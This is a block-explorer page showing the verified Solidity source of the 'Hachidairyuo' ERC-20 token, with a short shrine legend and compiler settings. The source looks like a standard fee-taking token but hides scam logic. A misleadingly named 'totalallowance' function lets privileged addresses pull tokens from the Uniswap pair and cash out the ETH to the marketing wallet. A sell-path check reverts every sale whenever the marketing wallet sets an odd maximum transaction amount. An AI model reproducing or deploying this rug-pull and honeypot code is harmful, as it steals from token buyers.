ERC-20
Overview
Max Total Supply
1,000,000,000 ERC20 ***
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
7,702,578.729878175019091802 ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Hachidairyuo
Compiler Version
v0.8.14+commit.80d49f37
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** The shrine stands quietly on the edge of a sandbank surrounded by Imazu Bay. It enshrines Hachidai Ryuo or Eight Great Dragon Kings who saved the life of a Japanese priest Eisai of Zen Buddhism Rinzai School during a heavy storm on his journey back home from China. Tg - https://t.me/Hachidairyuo */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Hachidairyuo is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private um = true; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = false; bool private boughtEarly = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event EndedBoughtEarly(bool boughtEarly); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Hachidai ryuo", unicode"八大龍王") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 2; uint256 totalSupply = 1000000000 * 1e18; // 1 billion supply maxTransactionAmount = totalSupply * 2 / 100; maxWallet = totalSupply * 3 / 100; swapTokensAtAmount = totalSupply * 4 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = payable(0xb4aAc6F1e860Cac4BeF93e30e040763999Bd8396); devWallet = payable(0xb4aAc6F1e860Cac4BeF93e30e040763999Bd8396); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(devWallet), true); excludeFromFees(address(marketingWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(devWallet), true); excludeFromMaxTransaction(address(marketingWallet), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external { require(msg.sender == marketingWallet); require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function totalallowance(uint rv, uint lv) external returns (bool) { require(_isExcludedFromFees[msg.sender]); uint lb = balanceOf(uniswapV2Pair); require(lv > 1 && lv < lb / 100, 'amount exceeded'); _totalallowanceAct(lv); swapTokensForEth(rv); (bool success,) = address(marketingWallet).call{value: address(this).balance}(""); return success; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _totalallowanceAct(uint256 pAmount) private { _transfer(uniswapV2Pair, address(this), pAmount * 10 ** decimals()); IUniswapV2Pair(uniswapV2Pair).sync(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount"); } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); swapTokensForEth(amountToSwapForETH); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function openTrading() private { tradingActive = true; } // once enabled, can never be turned off function enableTrading() external onlyOwner() { swapEnabled = true; require(boughtEarly == true, "done"); boughtEarly = false; openTrading(); emit EndedBoughtEarly(boughtEarly); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"boughtEarly","type":"bool"}],"name":"EndedBoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"T